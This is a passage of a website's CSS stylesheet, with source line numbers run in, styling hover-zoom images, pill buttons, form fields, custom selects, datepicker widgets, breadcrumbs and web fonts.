.col-4-5 { 1485 width: 80%; 1486} 1487 1488@media screen and (max-width: 767px) { 1489 .flex-cols .col-4-5 { 1490 width: 100%; 1491 } 1492} 1493 1494.flex-cols.has-gap { 1495 gap: 2em; 1496} 1497 1498.flex-cols.has-gap .col-1-2 { 1499 width: calc(50% - 1em); 1500} 1501 1502@media screen and (max-width: 767px) { 1503 .flex-cols.has-gap .col-1-2 { 1504 width: 100%; 1505 } 1506} 1507 1508.flex-centered { 1509 align-items: center; 1510 justify-content: center; 1511} 1512 1513/* hover zoom */ 1514.hover-zoom { 1515 background-color: #000; 1516} 1517 1518.hover-zoom .cover-image, 1519.hover-zoom .object-fit { 1520 -webkit-transform: scale(1.1); 1521 -moz-transform: scale(1.1); 1522 -ms-transform: scale(1.1); 1523 transform: scale(1.1); 1524 -webkit-backface-visibility: hidden; 1525 -moz-backface-visibility: hidden; 1526 -ms-backface-visibility: hidden; 1527 -o-backface-visibility: hidden; 1528 backface-visibility: hidden; 1529 -webkit-transition: opacity 1s ease-in-out, -webkit-transform 1s; 1530 transition: opacity 1s ease-in-out, transform 1s; 1531 pointer-events: none; 1532} 1533 1534.hover-zoom.hover-zoom-small .cover-image, 1535.hover-zoom.hover-zoom-small .object-fit { 1536 -webkit-transform: scale(1.05); 1537 -moz-transform: scale(1.05); 1538 -ms-transform: scale(1.05); 1539 transform: scale(1.05); 1540 -webkit-transition: opacity 1.5s ease-in-out, -webkit-transform 1.5s; 1541 transition: opacity 1.5s ease-in-out, transform 1.5s; 1542} 1543 1544.hover-zoom.has-lazy img[data-src] { 1545 -webkit-transition: opacity 1s ease-in-out, transform 1s; 1546 -moz-transition: opacity 1s ease-in-out, transform 1s; 1547 -ms-transition: opacity 1s ease-in-out, transform 1s; 1548 transition: opacity 1s ease-in-out, transform 1s; 1549 opacity: 0; 1550} 1551 1552.hover-zoom.has-lazy img[data-src].img-loaded { 1553 opacity: 1;
1554} 1555 1556.hover-zoom.has-lazy img[data-src].img-loaded.fade { 1557 opacity: .1; 1558} 1559 1560.hover-zoom:hover .cover-image, 1561.hover-zoom:hover .object-fit { 1562 -webkit-transform: scale(1); 1563 -moz-transform: scale(1); 1564 -ms-transform: scale(1); 1565 transform: scale(1); 1566} 1567 1568.is-zoom { 1569 position: relative; 1570 overflow: hidden; 1571} 1572 1573.is-zoom::before, .is-zoom::after { 1574 content: ''; 1575 pointer-events: none; 1576 position: absolute; 1577 opacity: 0; 1578 transition: opacity .75s ease-in-out; 1579} 1580 1581.is-zoom::before { 1582 top: 0; 1583 left: 0; 1584 z-index: 2; 1585 width: 100%; 1586 height: 100%; 1587 background-color: #000; 1588} 1589 1590.is-zoom::after { 1591 top: 50%; 1592 left: 50%; 1593 z-index: 2; 1594 color: #fff; 1595 width: 38px; 1596 height: 38px; 1597 background: url(/images/layout/icons/zoom.png) center no-repeat; 1598 background-size: contain; 1599 transform: translate(-50%, -50%); 1600} 1601 1602.is-zoom .object-fit { 1603 backface-visibility: hidden; 1604 transition: transform .75s; 1605} 1606 1607.is-zoom:hover::before { 1608 opacity: .6; 1609} 1610 1611.is-zoom:hover::after { 1612 opacity: 1; 1613} 1614 1615.is-zoom:hover .object-fit { 1616 transform: scale(1.1); 1617} 1618 1619/* google map embed */ 1620.gmap { 1621 height: 500px; 1622 margin: 0 auto 20px; 1623 margin: 0 0 1.8em; 1624} 1625 1626.gmap iframe { 1627 border: none; 1628 width: 100%; 1629 height: 500px; 1630} 1631 1632/* list with items set to display inline block */ 1633.inline-list { 1634 margin-left: 0; 1635 /* centered */ 1636 /* add pipe delimiters */ 1637} 1638 1639.inline-list.pad > li:not(:last-child) { 1640 margin-right: 4em; 1641 margin-bottom: 2em; 1642} 1643 1644.inline-list > li { 1645 display: inline-block; 1646} 1647 1648.inline-list.centered { 1649 text-align: center; 1650} 1651 1652.inline-list.pipes > li:before { 1653 content: '|'; 1654 padding: 0 .75em; 1655} 1656 1657.inline-list.pipes > li:first-child:before { 1658 content: ''; 1659 padding: 0; 1660} 1661 1662.video-wrapper { 1663 position: relative; 1664 padding-bottom: 56.25%; 1665 /* 16:9 */ 1666 padding-top: 25px; 1667 height: 0; 1668} 1669 1670.video-wrapper iframe { 1671 position: absolute; 1672 top: 0; 1673 left: 0; 1674 width: 100%; 1675 height: 100%; 1676} 1677 1678.w-100 { 1679 width: 100%; 1680 height: auto; 1681} 1682 1683/* 1684.bg-vid { 1685 @include transform(translateX(-50%) translateY(-50%)); 1686 position: absolute; 1687 top: 50%; 1688 left: 50%; 1689 min-width: 100%; 1690 min-height: 100%; 1691 width: auto; 1692 height: auto; 1693 background-size: cover; 1694 z-index: 2; 1695 opacity: 1; 1696} 1697*/ 1698/* add arrow */ 1699/* 1700.arr { 1701 &:after { 1702 content: '\003e'; 1703 padding-left: .5em; 1704 position: relative; 1705 top: -.05em; 1706 } 1707} 1708*/ 1709/* Animate fade up - JS is located in base.js */ 1710.fade-up { 1711 -webkit-transition: opacity 0.75s, transform 0.75s; 1712 -moz-transition: opacity 0.75s, transform 0.75s; 1713 -ms-transition: opacity 0.75s, transform 0.75s; 1714 transition: opacity 0.75s, transform 0.75s; 1715 -webkit-transform: translate3d(0, 20px, 0); 1716 -moz-transform: translate3d(0, 20px, 0); 1717 -ms-transform: translate3d(0, 20px, 0); 1718 transform: translate3d(0, 20px, 0); 1719 opacity: 0; 1720} 1721 1722.fade-up.active { 1723 -webkit-transform: translate3d(0, 0, 0); 1724 -moz-transform: translate3d(0, 0, 0); 1725 -ms-transform: translate3d(0, 0, 0); 1726 transform: translate3d(0, 0, 0); 1727 opacity: 1; 1728} 1729 1730/* Variables 1731**********************************/ 1732/* all vars, no need for @if critical */ 1733/* breakpoints */ 1734/* Animation - see header.scss for usage examples */ 1735/* Form placeholders */ 1736/* Usage: 1737 1738 .foo { 1739 @include placeholder { 1740 color: green; 1741 } 1742 } 1743 1744 @include placeholder { 1745 color: red; 1746 } 1747*/ 1748/* Flexbox 1749***************************************/ 1750/* Card */ 1751/* Filter */ 1752/* Gridder */ 1753/*************************************** 1754 INLINE STYLES - Above the fold 1755****************************************/ 1756/* This is used on the <button> element */ 1757button { 1758 background: transparent; 1759 border: none; 1760 cursor: pointer; 1761 box-sizing: border-box; 1762 color: currentColor; 1763 padding: 0; 1764 font-family: "Nunito Sans", sans-serif; 1765 transition: background-color .35s, color .35s; 1766} 1767 1768/* Brand button */ 1769.btn { 1770 -webkit-transition: background-color 0.35s, color 0.35s; 1771 -moz-transition: background-color 0.35s, color 0.35s; 1772 -ms-transition: background-color 0.35s, color 0.35s; 1773 transition: background-color 0.35s, color 0.35s; 1774 box-sizing: border-box; 1775 color: #ff671f; 1776 font-family: "Lora", serif; 1777 font-size: inherit; 1778 letter-spacing: .025em; 1779 text-align: center; 1780 display: inline-block; 1781 line-height: 1; 1782 text-transform: uppercase; 1783 position: relative; 1784 padding: 0 .5em; 1785} 1786 1787.btn:hover { 1788 color: #56534d; 1789} 1790 1791.btn-pill { 1792 display: inline-block; 1793 color: #fff !important; 1794 font-size: .75rem !important; 1795 border-radius: 2em; 1796 text-transform: uppercase; 1797 font-size: inherit; 1798 position: relative; 1799 letter-spacing: .1em; 1800} 1801 1802.btn-pill + .btn-pill { 1803 margin-left: 2.5em; 1804} 1805 1806@media screen and (max-width: 767px) { 1807 .btn-pill + .btn-pill { 1808 margin: .75em 0; 1809 } 1810} 1811 1812.btn-pill .button-bg { 1813 top: 0; 1814 left: 0; 1815 position: absolute; 1816 width: 100%; 1817 height: 100%; 1818 background: #ff671f; 1819 color: #fff; 1820 border-radius: 2em; 1821 overflow: hidden; 1822 transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1); 1823} 1824 1825.btn-pill .button-bg::before, .btn-pill .button-bg::after { 1826 content: ''; 1827 position: absolute; 1828 background: #161441; 1829} 1830 1831.btn-pill .button-bg::before { 1832 width: 110%; 1833 height: 0; 1834 padding-bottom: 110%; 1835 top: 50%; 1836 left: 50%; 1837 border-radius: 50%; 1838 transform: translate3d(-50%, -50%, 0) scale3d(0, 0, 1); 1839} 1840 1841.btn-pill .button-bg::after { 1842 top: 0; 1843 left: 0; 1844 width: 100%; 1845 height: 100%; 1846 opacity: 0; 1847 transition: opacity 0.3s; 1848} 1849 1850.btn-pill > span:not(.button-bg) { 1851 display: block; 1852 position: relative; 1853 padding: .55rem 1.85rem; 1854} 1855 1856.btn-pill:hover { 1857 color: #fff; 1858} 1859 1860.btn-pill:hover .button-bg { 1861 transform: scale3d(1.2, 1.2, 1); 1862} 1863 1864@media screen and (max-width: 767px) { 1865 .btn-pill:hover .button-bg { 1866 transform: scale3d(1.1, 1.1, 1); 1867 } 1868} 1869 1870.btn-pill:hover .button-bg::before { 1871 transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1); 1872 transform: translate3d(-50%, -50%, 0) scale3d(1, 1, 1); 1873} 1874 1875.btn-pill:hover .button-bg::after { 1876 opacity: 1;
1877 transition-duration: 0.01s; 1878 transition-delay: 0.3s; 1879} 1880 1881.btn-pill.btn-ghost { 1882 color: #ff671f !important; 1883 border: 1px solid; 1884} 1885 1886.btn-pill.btn-ghost .button-bg { 1887 background-color: transparent; 1888} 1889 1890.btn-pill.btn-ghost:hover { 1891 color: #fff; 1892} 1893 1894/* Brand button modifiers */ 1895.btn-inverted { 1896 background-color: #5B3427; 1897} 1898 1899.btn-inverted:hover { 1900 background-color: #ff671f; 1901} 1902 1903.btn-full { 1904 display: block; 1905} 1906 1907/* 1908.btn-light { 1909 background-color: #fff; 1910 color: #71605c; 1911} 1912 1913.btn-gray { 1914 background-color: #667586; 1915} 1916 1917.btn-black { 1918 background-color: #000; 1919} 1920 1921.btn-bordered { 1922 @include transition(color .35s, border-color .35s, background-color .35s); 1923 background-color: transparent; 1924 border: 2px solid; 1925 font-size: 12px; 1926 font-weight: 700; 1927 letter-spacing: .2em; 1928 text-transform: uppercase; 1929 1930 &:hover { 1931 background-color: $brand-color; 1932 color: #fff; 1933 border-color: $brand-color; 1934 } 1935}*/ 1936/*************************************** 1937 DEFERRED STYLES 1938****************************************/ 1939/* Variables 1940**********************************/ 1941/* all vars, no need for @if critical */ 1942/* breakpoints */ 1943/* Animation - see header.scss for usage examples */ 1944/* Form placeholders */ 1945/* Usage: 1946 1947 .foo { 1948 @include placeholder { 1949 color: green; 1950 } 1951 } 1952 1953 @include placeholder { 1954 color: red; 1955 } 1956*/ 1957/* Flexbox 1958***************************************/ 1959/* Card */ 1960/* Filter */ 1961/* Gridder */ 1962/* general form */ 1963@media screen and (max-width: 767px) { 1964 form { 1965 font-size: 16px; 1966 } 1967} 1968 1969@media screen and (-webkit-min-device-pixel-ratio: 0) { 1970 select, 1971textarea, 1972input { 1973 font-size: 16px; 1974 } 1975} 1976 1977.label, 1978label { 1979 display: block; 1980 line-height: 1.1em; 1981 margin-bottom: 6px; 1982} 1983 1984input[type="text"], 1985input[type="email"], 1986select, 1987textarea { 1988 box-sizing: border-box; 1989 background-color: #fff; 1990 font-family: "Nunito Sans", sans-serif; 1991 font-size: inherit; 1992 width: 100%; 1993 border: 1px solid #ccc; 1994 border-radius: 0; 1995 outline: none; 1996} 1997 1998input[type="text"], 1999input[type="email"], 2000textarea { 2001 padding: 4px 8px; 2002} 2003 2004select { 2005 padding: 3px 4px; 2006} 2007 2008select:focus { 2009 outline: 1.5px solid black; 2010} 2011 2012button[type="submit"]:not(.btn-pill), 2013input[type="submit"] { 2014 -webkit-transition: background-color 0.35s; 2015 -moz-transition: background-color 0.35s; 2016 -ms-transition: background-color 0.35s; 2017 transition: background-color 0.35s; 2018 -webkit-appearance: none; 2019 border: none; 2020 border-radius: 0; 2021 box-sizing: border-box; 2022 cursor: pointer; 2023 letter-spacing: .2em; 2024 background-color: #ff671f; 2025 color: #fff; 2026 text-transform: uppercase; 2027 font-family: "Nunito Sans", sans-serif; 2028 padding: .6em 2em .6em 2.2em; 2029} 2030 2031button[type="submit"]:not(.btn-pill):hover, 2032input[type="submit"]:hover { 2033 background-color: #999; 2034} 2035 2036::-webkit-input-placeholder { 2037 color: #acacac; 2038 opacity: 1; 2039} 2040 2041:-moz-placeholder { 2042 color: #acacac; 2043 opacity: 1; 2044} 2045 2046::-moz-placeholder { 2047 color: #acacac; 2048 opacity: 1; 2049} 2050 2051:-ms-input-placeholder { 2052 color: #acacac; 2053 opacity: 1; 2054} 2055 2056.tick-list { 2057 list-style-type: none; 2058 margin: 6px 0 0; 2059} 2060 2061.tick-list > li { 2062 display: inline-block; 2063 vertical-align: top; 2064 margin: 0 7px 0 0; 2065} 2066 2067.tick-list > li label { 2068 white-space: nowrap; 2069} 2070 2071@media screen and (max-width: 480px) { 2072 .tick-list > li { 2073 display: block; 2074 } 2075} 2076 2077.tick-list.stack > li { 2078 display: block; 2079} 2080 2081.tick-list label { 2082 display: inline; 2083} 2084 2085.required { 2086 color: #c80303; 2087} 2088 2089/* Site specific common styles */ 2090.fs-tick { 2091 margin-bottom: 1.5em; 2092} 2093 2094.fs-tick legend { 2095 box-sizing: border-box; 2096 display: block; 2097 width: 100%; 2098 letter-spacing: .05em; 2099 line-height: 1.25em; 2100} 2101 2102.fs-pairs { 2103 display: flex; 2104 justify-content: space-between; 2105 flex-wrap: wrap; 2106} 2107 2108.fs-pairs > div { 2109 box-sizing: border-box; 2110 margin-bottom: 20px; 2111 position: relative; 2112} 2113 2114.fs-pairs > div:not(.spread) { 2115 width: calc(50% - .75em); 2116} 2117 2118@media screen and (max-width: 767px) { 2119 .fs-pairs > div:not(.spread) { 2120 width: 100%; 2121 } 2122} 2123 2124.fs-pairs .spread { 2125 width: 100%; 2126} 2127 2128@media screen and (max-width: 767px) { 2129 .fs-pairs { 2130 margin: 0; 2131 } 2132} 2133 2134/* 2135.fs-thirds { 2136 //overflow: hidden; 2137 2138 .field { 2139 //width: 33.3333333333%; 2140 width: calc(33.3333333333% - 20px); 2141 float: left; 2142 box-sizing: border-box; 2143 margin-bottom: 20px; 2144 position: relative; 2145 2146 &:nth-child(1){ margin-right: 15px; } 2147 &:nth-child(2){ margin-right: 15px; margin-left: 15px; } 2148 &:nth-child(3){ margin-left: 15px; } 2149 2150 @media screen and (max-width: 767px){ 2151 width: auto; 2152 float: none; 2153 2154 &:nth-child(1){ margin-right: 0; } 2155 &:nth-child(2){ margin-right: 0; margin-left: 0; } 2156 &:nth-child(3){ margin-left: 0; } 2157 } 2158 2159 } 2160 2161} 2162*/ 2163/* 2164.fs-fourths { 2165 .field { 2166 width: calc(25% - 23px); 2167 float: left; 2168 box-sizing: border-box; 2169 margin-bottom: 20px; 2170 position: relative; 2171 2172 &:nth-child(1){ margin-right: 15px; } 2173 &:nth-child(2), 2174 &:nth-child(3){ margin-right: 15px; margin-left: 15px; } 2175 &:nth-child(4){ margin-left: 15px; } 2176 2177 @media screen and (max-width: 767px){ 2178 width: auto; 2179 float: none; 2180 2181 &:nth-child(1){ margin-right: 0; } 2182 &:nth-child(2), 2183 &:nth-child(3){ margin-right: 0; margin-left: 0; } 2184 &:nth-child(4){ margin-left: 0; } 2185 } 2186 2187 } 2188} 2189*/ 2190/* Custom select 2191 - class applies to select element itself, not a wrapper element
2192 - source: https://css-tricks.com/styling-a-select-like-its-2019/ */ 2193.select-css { 2194 display: block; 2195 font-size: 16px; 2196 font-family: sans-serif; 2197 /*font-weight: 700;*/ 2198 color: #444; 2199 line-height: 1.3; 2200 padding: .6em 1.4em .5em .8em; 2201 width: 100%; 2202 max-width: 100%; 2203 /* useful when width is set to anything other than 100% */ 2204 box-sizing: border-box; 2205 margin: 0; 2206 border: 1px solid #9f9f9f; 2207 /*box-shadow: 0 1px 0 1px rgba(0,0,0,.04); 2208 border-radius: .5em;*/ 2209 -moz-appearance: none; 2210 -webkit-appearance: none; 2211 appearance: none; 2212 background-color: #fff; 2213 /* note: bg image below uses 2 urls. The first is an svg data uri for the arrow icon, and the second is the gradient. 2214 for the icon, if you want to change the color, be sure to use `%23` instead of `#`, since it's a url. You can also swap in a different svg icon or an external image reference 2215 2216 */ 2217 background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22%23007CB2%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%); 2218 background-repeat: no-repeat, repeat; 2219 /* arrow icon position (1em from the right, 50% vertical) , then gradient position*/ 2220 background-position: right .7em top 50%, 0 0; 2221 /* icon size, then gradient */ 2222 background-size: .65em auto, 100%; 2223} 2224 2225/* Hide arrow icon in IE browsers */ 2226.select-css::-ms-expand { 2227 display: none; 2228} 2229 2230/* Hover style */ 2231.select-css:hover { 2232 border-color: #888; 2233} 2234 2235/* Focus style */ 2236.select-css:focus { 2237 border-color: #aaa; 2238 /* It'd be nice to use -webkit-focus-ring-color here but it doesn't work on box-shadow */ 2239 box-shadow: 0 0 1px 3px rgba(59, 153, 252, 0.7); 2240 box-shadow: 0 0 0 3px -moz-mac-focusring; 2241 color: #222; 2242} 2243 2244/* Set options to normal weight */ 2245.select-css option { 2246 font-weight: normal; 2247} 2248 2249/* Support for rtl text, explicit support for Arabic and Hebrew */ 2250*[dir="rtl"] .select-css, :root:lang(ar) .select-css, :root:lang(iw) .select-css { 2251 background-position: left .7em top 50%, 0 0; 2252 padding: .6em .8em .5em 1.4em; 2253} 2254 2255/* Disabled styles */ 2256.select-css:disabled, .select-css[aria-disabled=true] { 2257 color: graytext; 2258 background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22graytext%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%); 2259} 2260 2261.select-css:disabled:hover, .select-css[aria-disabled=true] { 2262 border-color: #aaa; 2263} 2264 2265/* 2266.has-float-label { 2267 box-sizing: border-box; 2268 position: relative; 2269 border-bottom: 1px solid #999; 2270 2271 label { 2272 @include transition(all .2s); 2273 position: absolute; 2274 top: .7em; 2275 left: 0; 2276 z-index: 2; 2277 cursor: text; 2278 color: #000; 2279 font-size: 13px; 2280 letter-spacing: .05em; 2281 //background-color: #fff; 2282 //padding: 0 .6em; 2283 pointer-events: none; 2284 } 2285 2286 select { 2287 @include appearance(none); 2288 opacity: 0; // prevent select from showing behind label 2289 } 2290 2291 2292 input, 2293 select { 2294 border: none; 2295 //padding: 8px; 2296 padding: 8px 8px 8px 0; 2297 height: 36px; 2298 background-color: transparent; 2299 } 2300 2301 // active state 2302 input:focus ~ label, 2303 .has-value ~ label, 2304 select:focus ~ label { 2305 top: -.6em; 2306 font-size: 11px; 2307 } 2308 2309 textarea:focus ~ label { 2310 top: -1.2em; 2311 font-size: 11px; 2312 } 2313 2314 // show select 2315 select:focus, 2316 select.has-value { opacity: 1; } 2317 2318} 2319*/ 2320.has-select { 2321 position: relative; 2322} 2323 2324.has-select::after { 2325 content: '\e809'; 2326 font-family: 'fontello'; 2327 font-size: 1.2rem; 2328 color: currentColor; 2329 pointer-events: none; 2330 position: absolute; 2331 right: .5em; 2332 bottom: .35em; 2333} 2334 2335body span.ui-button-icon.ui-icon.ui-icon-closethick:before { 2336 content: 'x'; 2337 display: block; 2338} 2339 2340body .ui-datepicker { 2341 font-family: "Nunito Sans", sans-serif; 2342 padding: 1em 1.25em; 2343 color: #666666; 2344 width: auto; 2345} 2346 2347body .ui-datepicker table { 2348 font-size: 12px; 2349} 2350 2351body .ui-datepicker th { 2352 font-weight: 400; 2353 padding: .3em; 2354} 2355 2356body .ui-datepicker .ui-datepicker-header { 2357 background: none; 2358 color: currentColor; 2359 border: none; 2360 font-weight: 700; 2361 font-size: 18px; 2362 text-transform: uppercase; 2363 padding-bottom: .25em; 2364} 2365 2366body .ui-datepicker .ui-datepicker-header a { 2367 color: currentColor; 2368} 2369 2370body .ui-datepicker .ui-datepicker-title { 2371 letter-spacing: normal; 2372} 2373 2374body .ui-state-hover, 2375body .ui-datepicker .ui-state-hover, 2376body .ui-datepicker-header .ui-state-hover, 2377body .ui-state-focus, 2378body .ui-datepicker .ui-state-focus, 2379body .ui-datepicker-header .ui-state-focus { 2380 background-color: transparent; 2381} 2382 2383body .ui-state-default, 2384body .ui-datepicker .ui-state-default, 2385body .ui-datepicker-header .ui-state-default { 2386 border: none; 2387 background-color: transparent; 2388 letter-spacing: .05em; 2389} 2390 2391body .ui-datepicker .ui-datepicker-header .ui-icon { 2392 background: none; 2393} 2394 2395body .ui-icon-circle-triangle-w:before { 2396 -webkit-transform: translate(-50%, -50%); 2397 -moz-transform: translate(-50%, -50%); 2398 -ms-transform: translate(-50%, -50%); 2399 transform: translate(-50%, -50%); 2400 content: ''; 2401 pointer-events: none; 2402 position: absolute; 2403 top: 50%; 2404 left: 50%; 2405 width: 0; 2406 height: 0; 2407 border-top: 6px solid transparent; 2408 border-bottom: 6px solid transparent; 2409 border-right: 9px solid; 2410} 2411 2412body .ui-icon-circle-triangle-e:before { 2413 -webkit-transform: translate(-50%, -50%); 2414 -moz-transform: translate(-50%, -50%); 2415 -ms-transform: translate(-50%, -50%); 2416 transform: translate(-50%, -50%); 2417 content: ''; 2418 pointer-events: none; 2419 position: absolute; 2420 top: 50%; 2421 left: 50%; 2422 width: 0; 2423 height: 0; 2424 border-top: 6px solid transparent; 2425 border-bottom: 6px solid transparent; 2426 border-left: 9px solid; 2427} 2428 2429body .ui-state-active, 2430body .ui-datepicker .ui-state-custom-highlight .ui-state-default, 2431body .ui-datepicker .ui-state-active, 2432body .ui-datepicker-header .ui-state-active { 2433 font-weight: 700; 2434 background-color: #ff671f; 2435 color: #fff; 2436} 2437 2438body .ui-state-highlight, 2439body .ui-datepicker .ui-state-highlight, 2440body .ui-datepicker-header .ui-state-highlight { 2441 background-color: #ccc; 2442 color: #000; 2443 font-weight: 700; 2444} 2445 2446body .ui-datepicker td { 2447 padding: 0; 2448 border: 1px solid #ccc; 2449} 2450 2451body .ui-datepicker td span, 2452body .ui-datepicker td a { 2453 text-align: center; 2454 padding: .75em; 2455} 2456 2457:root { 2458 --litepicker-button-prev-month-color: #333; 2459 --litepicker-button-next-month-color: #333; 2460 --litepicker-highlighted-day-color: #fff; 2461 --litepicker-highlighted-day-color-bg: #802755; 2462} 2463 2464.litepicker { 2465 font-size: .9rem; 2466 border: 1px solid #c5c5c5; 2467} 2468 2469.litepicker .button-previous-month, 2470.litepicker .button-next-month { 2471 position: relative; 2472 cursor: pointer !important; 2473} 2474 2475.litepicker .button-previous-month svg, 2476.litepicker .button-next-month svg { 2477 visibility: hidden; 2478} 2479 2480.litepicker .button-previous-month::before, 2481.litepicker .button-next-month::before { 2482 content: ''; 2483 pointer-events: none; 2484 font-family: 'fontello'; 2485 font-size: 1rem; 2486 color: currentColor; 2487 position: absolute; 2488 top: 8%; 2489 left: 50%; 2490 transform: translateX(-50%); 2491} 2492 2493.litepicker .button-previous-month:focus, 2494.litepicker .button-next-month:focus { 2495 outline: 1px solid blue; 2496} 2497 2498.litepicker .button-previous-month::before { 2499 content: '\e81a'; 2500} 2501 2502.litepicker .button-next-month::before { 2503 content: '\e81b'; 2504} 2505 2506.litepicker .container__months { 2507 box-shadow: none; 2508} 2509 2510.litepicker .container__months .month-item-header div > .month-item-name { 2511 font-family: "Lora", serif; 2512 font-weight: 300; 2513 color: #ff671f; 2514 font-size: 1.15rem; 2515 text-transform: uppercase; 2516} 2517 2518.litepicker .container__days > div, 2519.litepicker .container__days > a { 2520 padding: .75rem 0; 2521} 2522 2523.litepicker .container__days .day-item { 2524 border-radius: 0; 2525} 2526 2527.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date.is-flipped { 2528 border-top-left-radius: 0; 2529 border-bottom-left-radius: 0; 2530} 2531 2532.litepicker .container__days .day-item.is-end-date { 2533 border-top-right-radius: 2rem; 2534 border-bottom-right-radius: 2rem; 2535} 2536 2537.litepicker .container__days .day-item.is-start-date.is-end-date { 2538 border-radius: 0; 2539} 2540 2541.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date { 2542 background-color: #ff671f; 2543 color: #fff; 2544} 2545 2546.litepicker .container__days .day-item.is-in-range:focus-visible { 2547 outline-offset: -.15rem; 2548} 2549 2550.litepicker .container__days .day-item.is-today:not(.is-start-date) { 2551 background-color: #eee; 2552 color: #56534d; 2553} 2554 2555.litepicker .container__days .day-item[role="button"] { 2556 cursor: pointer; 2557} 2558 2559.is-admin input[type="text"], 2560.is-admin input[type="email"], 2561.is-admin select, 2562.is-admin textarea, 2563.edit-mode input[type="text"], 2564.edit-mode input[type="email"], 2565.edit-mode select, 2566.edit-mode textarea { 2567 font-family: Arial, Helvetica, sans-serif; 2568} 2569 2570/* Variables 2571**********************************/ 2572/* all vars, no need for @if critical */ 2573/* breakpoints */ 2574/* Animation - see header.scss for usage examples */ 2575/* Form placeholders */ 2576/* Usage: 2577 2578 .foo { 2579 @include placeholder { 2580 color: green; 2581 } 2582 } 2583 2584 @include placeholder { 2585 color: red; 2586 } 2587*/ 2588/* Flexbox 2589***************************************/ 2590/* Card */ 2591/* Filter */
2592/* Gridder */ 2593.breadcrumb { 2594 font-size: 12px; 2595 margin: 0 1.5em 3em; 2596 text-align: right; 2597 color: #ff671f; 2598} 2599 2600.breadcrumb a { 2601 -webkit-transition: opacity 0.35s; 2602 -moz-transition: opacity 0.35s; 2603 -ms-transition: opacity 0.35s; 2604 transition: opacity 0.35s; 2605 color: #56534d; 2606 opacity: .5; 2607} 2608 2609.breadcrumb a:hover { 2610 opacity: 1; 2611} 2612 2613.breadcrumb li:not(:first-child) { 2614 margin-left: 2em; 2615} 2616 2617.breadcrumb li:last-child a { 2618 color: currentColor; 2619 cursor: default; 2620 pointer-events: none; 2621 opacity: 1; 2622} 2623 2624.breadcrumb li:last-child a br { 2625 display: none; 2626} 2627 2628#hero + .breadcrumb { 2629 margin-top: -1.5em; 2630} 2631 2632@media screen and (max-width: 767px) { 2633 .breadcrumb { 2634 display: none; 2635 } 2636} 2637 2638/* Variables 2639**********************************/ 2640/* all vars, no need for @if critical */ 2641/* breakpoints */ 2642/* Animation - see header.scss for usage examples */ 2643/* Form placeholders */ 2644/* Usage: 2645 2646 .foo { 2647 @include placeholder { 2648 color: green; 2649 } 2650 } 2651 2652 @include placeholder { 2653 color: red; 2654 } 2655*/ 2656/* Flexbox 2657***************************************/ 2658/* Card */ 2659/* Filter */ 2660/* Gridder */ 2661@font-face { 2662 font-family: 'Kristabelle'; 2663 src: url("/css/fonts/kristabelle-webfont.woff2") format("woff2"), url("/css/fonts/kristabelle-webfont.woff") format("woff"); 2664 font-weight: 400; 2665 font-style: normal; 2666 font-display: swap; 2667} 2668 2669@font-face { 2670 font-family: "Medio"; 2671 src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot"); 2672 src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot?#iefix") format("embedded-opentype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff") format("woff"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff2") format("woff2"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.ttf") format("truetype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.svg#Medio") format("svg"); 2673 font-weight: normal; 2674 font-style: normal; 2675 font-display: swap; 2676} 2677 2678@font-face { 2679 font-family: 'Stay Classy Duo Script'; 2680 src: url("/css/fonts/StayClassyDuoScript.eot"); 2681 src: url("/css/fonts/StayClassyDuoScript.eot?#iefix") format("embedded-opentype"), url("/css/fonts/StayClassyDuoScript.woff2") format("woff2"), url("/css/fonts/StayClassyDuoScript.woff") format("woff"), url("/css/fonts/StayClassyDuoScript.ttf") format("truetype"), url("/css/fonts/StayClassyDuoScript.svg#StayClassyDuoScript") format("svg"); 2682 font-weight: normal; 2683 font-style: normal; 2684 font-display: swap; 2685} 2686 2687@font-face { 2688 font-family: 'kepler'; 2689 src: url("/css/fonts/kepler_std_light_display.woff2") format("woff2"), url("/css/fonts/kepler_std_light_display.woff") format("woff"); 2690 font-weight: normal; 2691 font-style: normal; 2692} 2693 2694/* Variables 2695**********************************/ 2696/* all vars, no need for @if critical */ 2697/* breakpoints */ 2698/* Animation - see header.scss for usage examples */ 2699/* Form placeholders */ 2700/* Usage: 2701 2702 .foo { 2703 @include placeholder { 2704 color: green; 2705 } 2706 } 2707 2708 @include placeholder { 2709 color: red; 2710 } 2711*/ 2712/* Flexbox 2713***************************************/ 2714/* Card */ 2715/* Filter */ 2716/* Gridder */ 2717/* Slider */ 2718.slick-slider { 2719 position: relative; 2720 display: block; 2721 box-sizing: border-box; 2722 